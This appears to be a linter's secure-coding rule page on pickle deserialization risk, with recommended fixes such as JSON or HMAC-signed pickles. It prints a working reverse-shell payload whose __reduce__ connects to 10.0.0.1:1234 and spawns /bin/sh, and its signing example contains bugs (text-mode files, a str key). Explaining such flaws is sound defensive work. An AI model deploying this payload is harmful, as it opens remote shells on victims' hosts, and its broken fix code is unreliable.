# PIC100 Loading serialized data with the pickle module can expose arbitrary code execution using the __reduce__ method. Before objects are serialised, they can have a custom `__reduce__` method attribute, which will execute on expansion during the pickle loader. This can be used to injection malicious data into serialized data. Because pickle is often used for caching or storing python objects by serialization, attackers will use this flaw to write arbitrary code to execute on the host. ## Example ```python import pickle with open(f) as input: python_objects = pickle.load(input) ``` An example attacker payload could be: ```python import pickle class ReverseShell: def __reduce__(self): import socket,subprocess,os s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2) p=subprocess.call(["/bin/sh","-i"]) payload = pickle.dumps(ReverseShell()) ``` To start an open shell on 10.0.0.1:1234. ## Fixes Either: * Use an alternative deserialization method, like JSON * Sign your serialized pickle data and then verify it before deserializing to ensure it hasn't been tampered with ## Signing pickles To sign your pickled data, use the `hmac` module to hash the pickle data and insert it as a header. ```python import hashlib import hmac import pickle data = pickle.dumps(obj) digest = hmac.new('unique-key-here', data, hashlib.blake2b).hexdigest() with open(f) as output: output.write(str(digest) + ' ' + data) ``` To verify signed data, use something like this: ```python import hashlib import hmac import pickle import secrets digest, pickle_data = data.split(' ') expected_digest = hmac.new('unique-key-here', pickle_data, hashlib.blake2b).hexdigest() if not secrets.compare_digest(digest, expected_digest): print('Invalid signature') exit(1) obj = pickle.loads(pickle_data) ``` ## See Also * [Understanding Python pickling and how to use it securely at synopsys.com](https://www.synopsys.com/blogs/software-security/python-pickling/)